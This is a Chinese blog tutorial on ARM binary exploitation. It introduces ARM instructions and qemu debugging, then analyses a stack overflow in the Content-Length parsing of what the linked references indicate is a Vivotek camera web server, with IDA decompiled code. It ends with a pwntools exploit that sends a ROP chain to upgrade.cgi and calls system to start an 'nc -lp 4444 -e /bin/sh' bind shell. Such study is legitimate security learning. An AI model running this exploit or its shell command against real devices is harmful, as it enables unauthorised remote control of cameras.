Arm pwn学习

作者: 蚁景科技 | 来源:发表于2020-08-07 14:26 被阅读0次

    刚刚开始学习ARM pwn,下面如有错误,希望各位大佬多多包han,多多包涵。

    先介绍下 Arm的一些常见指令

    那就先来

    Arm 三操作数指令

    看看函数开始时

    Arm指令中的 - 感觉蛮简洁的,可以省略很多步骤和指令。

    Arm LDR 指令

    LDM 和 STM是多数据传送指令,用来装载和存储多个字的数据从/到内存。比如:

    寄存器命名:

    在常见的程序中 前面的命名一般都是以R*,一些比较特殊的寄存器,就命令,比如 LR SP 在IDA里面都是显示APCS。

    Arm 跳转

    Arm 程序状态寄存器处理指令

    Arm 比较指令

    Arm 标志位

    做题,了解这些指令就差不多了

    环境搭建

    可以用qemu-arm加 gdb-multiarch , gdb-multiarch 加gdbserver或者直接arm_now (后面这个。我安装了还是不太会用。逃····

    第一种

    这种我没具体的调试过,之前就用了一次,感觉没第二种舒服

    第二种

    首先先下载 arm-debian的qemu镜像

    https://people.debian.org/~aurel32/qemu/armel/ or

    https://people.debian.org/~aurel32/qemu/armhf/

    其他:

    实例调试分析

    就只开了 nx

    漏洞所在的函数

    int __fastcall sub_17F80(char *a1)

    {

      char *v1; // r4

      char *v2; // r0

      int v3; // r3

      char *v4; // r5

      unsigned int v5; // r9

      unsigned __int8 *v6; // r8

      char *v7; // r3

      int v8; // r6

      int v9; // t1

      int v10; // r10

      int v11; // r2

      int v12; // r2

      unsigned __int8 *v13; // r0

      bool v14; // zf

      int v15; // r2

      int v16; // t1

      bool v17; // zf

      char *v18; // ST14_4

      int v19; // r0

      int v20; // r2

      int v21; // r1

      ssize_t v22; // r5

      int v23; // r2

      char *v24; // r0

      const char *v25; // r6

      char *v26; // r0

      int result; // r0

      int v28; // r6

      FILE *v29; // r0

      int v30; // r6

      FILE *v31; // r0

      const char *v32; // r1

      int v33; // r2

      int v34; // r3

      char *v35; // r7

      char *v36; // r6

      char *v37; // r0

      int v38; // r7

      int v39; // r0

      int v40; // r2

      unsigned int v41; // r3

      char *haystack; // [sp+Ch] [bp-44h]

      char dest[4]; // [sp+18h] [bp-38h]

      int v44; // [sp+1Ch] [bp-34h]

      int v45; // [sp+20h] [bp-30h]

      int v46; // [sp+24h] [bp-2Ch]

      v1 = a1;

      haystack = a1 + 13690;

      v2 = strncpy(a1 + 21882, a1 + 13690, 0x1FFFu);

      v3 = *((_DWORD *)v1 + 1629);

      v4 = &v1[*((_DWORD *)v1 + 18) + 13690];

      v5 = (unsigned int)&haystack[v3];

      if ( dword_34864 & 0x10 && (unsigned int)v4 < v5 )

      {

        haystack[v3] = 0;

        sub_16534(v2);

        fprintf((FILE *)stderr, "%s:%d - Parsing headers (\"%s\")\n", "src/read.c", 57, v4);

      }

      v6 = (unsigned __int8 *)(v4 - 1);

      v7 = v4;

      if ( (unsigned int)v4 >= v5 )

      {

    LABEL_26:

        if ( *(_DWORD *)v1 > 3u )

          return 1;

        v21 = *((_DWORD *)v1 + 1629);

        if ( (unsigned int)(0x1FFF - v21) >= 0x2000 )

        {

          sub_1627C(v1);

          fwrite("No space left in client stream buffer, closing\n", 1u, 0x2Fu, (FILE *)stderr);

          result = 0;

          *((_DWORD *)v1 + 4) = 400;

          *(_DWORD *)v1 = 12;

          return result;

        }

        v22 = read(*((_DWORD *)v1 + 1112), &haystack[v21], 0x2000 - v21);

        if ( !strncmp(haystack, "POST", 4u) || (v26 = (char *)strncmp(haystack, "PUT", 3u)) == 0 )

        {

          v23 = (unsigned __int8)v1[13690];

          *(_DWORD *)dest = 0;

          v44 = 0;

          v45 = 0;

          v46 = 0;

          if ( v23 )

          {

            v35 = strstr(haystack, "Content-Length");

            v36 = strchr(v35, '\n');

            v37 = strchr(v35, ':');

            strncpy(dest, v37 + 1, v36 - (v37 + 1)); // 这里复制有bug

          }

          v24 = strstr(haystack, "\r\n\r\n");

          if ( v24 && (v25 = v24 + 4, (signed int)(v24 + 4) <= (signed int)&haystack[*((_DWORD *)v1 + 1629) - 1 + v22]) )

          {

            v26 = strstr(haystack, "upgrade.cgi");

            if ( !v26 || (v26 = strstr(v25, "\r\n\r\n")) != 0 )

            {

              *((_DWORD *)v1 + 7623) = -1;

              goto LABEL_36;

            }

            v30 = (int)(v1 + 28672);

            ++*((_DWORD *)v1 + 7623);

            v31 = (FILE *)stderr;

            v32 = "req->iCount++(2)= %d\n";

          }

          else

          {

            v30 = (int)(v1 + 28672);

            v31 = (FILE *)stderr;

            v32 = "req->iCount++= %d\n";

            ++*((_DWORD *)v1 + 7623);

          }

          fprintf(v31, v32);

          v33 = *(_DWORD *)(v30 + 1820);

          v26 = (char *)(1717986919 * v33);

          *(_DWORD *)(v30 + 1820) = v33 % 20;

        }

    LABEL_36:

        if ( v22 < 0 )

        {

          v34 = *_errno_location();

          if ( v34 != 4 )

          {

            if ( v34 == 11 )

              return -1;

            sub_1627C(v1);

            perror("header read");

            *((_DWORD *)v1 + 4) = 400;

            return 0;

          }

        }

        else

        {

          if ( !v22 )

          {

            if ( *((_DWORD *)v1 + 1628) >= (unsigned int)dword_37E6C || *((_DWORD *)v1 + 15) || *((_DWORD *)v1 + 1629) )

            {

              sub_1627C(v1);

              fwrite("client unexpectedly closed connection.\n", 1u, 0x27u, (FILE *)stderr);

            }

            *((_DWORD *)v1 + 4) = 400;

            return 0;

          }

          v14 = (dword_34864 & 0x10) == 0;

          *((_DWORD *)v1 + 1629) += v22;

          if ( !v14 )

          {

            sub_16534(v26);

            v29 = (FILE *)stderr;

            v1[*((_DWORD *)v1 + 1629) + 13690] = 0;

            fprintf(v29, "%s:%d -- We read %d bytes: \"%s\"\n", "src/read.c", 356, v22, "");

          }

        }

        return 1;

      }

      while ( 2 )

      {

        if ( *((_DWORD *)v1 + 7623) > 0 )

          goto LABEL_26;

        v9 = (unsigned __int8)*v4++;

        v8 = v9;

        v10 = v9 - 13;

        if ( v9 != 13 )

          v10 = 1;

        if ( v8 == 161 )

          v11 = v10 & 1;

        else

          v11 = 0;

        if ( v11 )

        {

          v12 = *v6;

          v13 = v6;

          v14 = v12 == 0;

          if ( *v6 )

            v14 = v12 == 10;

          if ( !v14 )

          {

            do

            {

              v16 = *(v13-- - 1);

              v15 = v16;

              v17 = v16 == 0;

              if ( v16 )

                v17 = v15 == 10;

            }

            while ( !v17 );

          }

          v18 = v7;

          v19 = strncmp((const char *)v13 + 1, "User-Agent:", 0xBu);

          v7 = v18;

          if ( v19 )

          {

            sub_1627C(v1);

            fprintf((FILE *)stderr, "Illegal character (%d) in stream.\n", 161);

            sub_1BC48(v1);

            return 0;

          }

        }

        v20 = *(_DWORD *)v1;

        switch ( *(_DWORD *)v1 )

        {

          case 0:

            if ( v8 == 13 )

            {

              *((_DWORD *)v1 + 17) = v7;

              *(_DWORD *)v1 = 1;

              goto LABEL_24;

            }

            if ( v8 != 10 )

              goto LABEL_24;

            *((_DWORD *)v1 + 17) = v7;

            *(_DWORD *)v1 = 2;

            goto LABEL_52;

          case 1:

            if ( v8 != 10 )

              goto LABEL_22;

            *(_DWORD *)v1 = 2;

    LABEL_52:

            ++*((_DWORD *)v1 + 18);

            goto LABEL_53;

          case 2:

            if ( v8 == 13 )

            {

              *(_DWORD *)v1 = 3;

              goto LABEL_24;

            }

            if ( v8 != 10 )

            {

    LABEL_23:

              *(_DWORD *)v1 = 0;

    LABEL_24:

              ++*((_DWORD *)v1 + 18);

    LABEL_25:

              ++v6;

              v7 = v4;

              if ( (unsigned int)v4 >= v5 )

                goto LABEL_26;

              continue;

            }

    LABEL_45:

            ++*((_DWORD *)v1 + 18);

            *(_DWORD *)v1 = 4;

    LABEL_46:

            v28 = sub_1A4F4(v1);

            if ( !v28 )

              return 0;

            if ( (unsigned int)(*((_DWORD *)v1 + 3) - 3) > 1 )

              return v28;

            v38 = *((_DWORD *)v1 + 42);

            *((_DWORD *)v1 + 17) = &v1[*((_DWORD *)v1 + 1629) + 13690];

            *((_DWORD *)v1 + 16) = v4;

            *(_DWORD *)v1 = 5;

            if ( !v38 )

            {

              sub_1627C(v1);

              fwrite("Unknown Content-Length POST!\n", 1u, 0x1Du, (FILE *)stderr);

              sub_1BC48(v1);

              return 0;

            }

            v39 = sub_216EC(v38);

            if ( v39 < 0 )

            {

              sub_1627C(v1);

              fprintf((FILE *)stderr, "Invalid Content-Length [%s] on POST!\n", *((_DWORD *)v1 + 42));

              sub_1BC48(v1);

              return 0;

            }

            v40 = *((_DWORD *)v1 + 16);

            v41 = *((_DWORD *)v1 + 17) - v40;

            *((_DWORD *)v1 + 11) = v39;

            *((_DWORD *)v1 + 12) = 0;

            if ( v39 >= v41 )

              return v28;

            *((_DWORD *)v1 + 17) = v40 + v39;

            return v28;

          case 3:

            if ( v8 == 10 )

              goto LABEL_45;

    LABEL_22:

            if ( v10 )

              goto LABEL_23;

            goto LABEL_24;

          default:

            ++*((_DWORD *)v1 + 18);

            if ( v20 == 2 )

            {

    LABEL_53:

              **((_BYTE **)v1 + 17) = 0;

              if ( *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16) > 3071 )

              {

                sub_1627C(v1);

                fprintf(

                  (FILE *)stderr,

                  "Header too long at %lu bytes: \"%s\"\n",

                  *((_DWORD *)v1 + 17) - *((_DWORD *)v1 + 16));

                sub_1BC48(v1);

                return 0;

              }

              if ( *((_DWORD *)v1 + 15) )

              {

                if ( !sub_1A878(v1) )

                  return 0;

              }

              else

              {

                if ( !sub_19FF0(v1) )

                  return 0;

                if ( *((_DWORD *)v1 + 2) == 1 )

                  return sub_1A4F4(v1);

              }

              *((_DWORD *)v1 + 16) = v4;

            }

            else if ( v20 == 4 )

            {

              goto LABEL_46;

            }

            goto LABEL_25;

        }

      }

    }

    上面看到 strcpy存在bug,就是长度时按照输入来计算的,这时只要控制好,就能实现栈溢出。

    先看看前面的的指令有没分析正确

    能看出那些寄存器是用来做参数的 r0 r1 r2 ,然后依次往后

    r3 是栈顶指针,lr是保存着返回地址,pc就是当前指令的下一条,cpsr 程序状态寄存器

    看看程序开头和结尾

    开头

    结尾

    R4-R11,LR都是放进栈里,如果发生了栈溢出,那岂不是能基本控制大多数的参数了,前面4个没有控制,我估摸着是用来做 传参用的。

    这道题还是把aslr关了。

    看到上图就清楚,此时的栈已经被控制了,执行为箭头所指向的,那r4-r11,LR都给控制了。

    关了aslr就是直接执行system了,但是得控制参数,这个就直接用ROPgadgets就OK了

    直接控制R0就ok

    exp:

    from pwn import *

    context.log_level ='debug'

    p = remote("192.168.2.2",80)

    system_addr = 0x76f74ab0

    order_commad  = "nc  -lp 4444 -e /bin/sh;pwd;pwd;"

    pre = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"

    payload = "a"*52+p32(0x00048784+0x76f2d000)+p32(0x7effeb68)+p32(0x00016aa4+0x76f2d000)+'a'*8+p32(system_addr)

    payload = pre+payload+order_commad+"\n\r\n\r\n"

    p.sendline(payload)

    p.interactive()

    参考链接:

    ivotek远程栈溢出漏洞分析与复现

    https://xz.aliyun.com/t/5054

    vivetok 摄像头远程栈溢出漏洞分析

    https://ray-cp.github.io/archivers/2019-09-22-vivetok_remote_stack_overflow

    相关实验:ARM漏洞利用技术一--编写arm shellcode 

    (通过该实验了解arm环境下编写shellcode的基本过程,以execve()为例,详细介绍了相关步骤,包括系统调用、系统调用后、函数参数、去除空字符、转换进制等。)

    相关文章

      网友评论

        本文标题:Arm pwn学习

        本文链接:https://www.haomeiwen.com/subject/ekpfdktx.html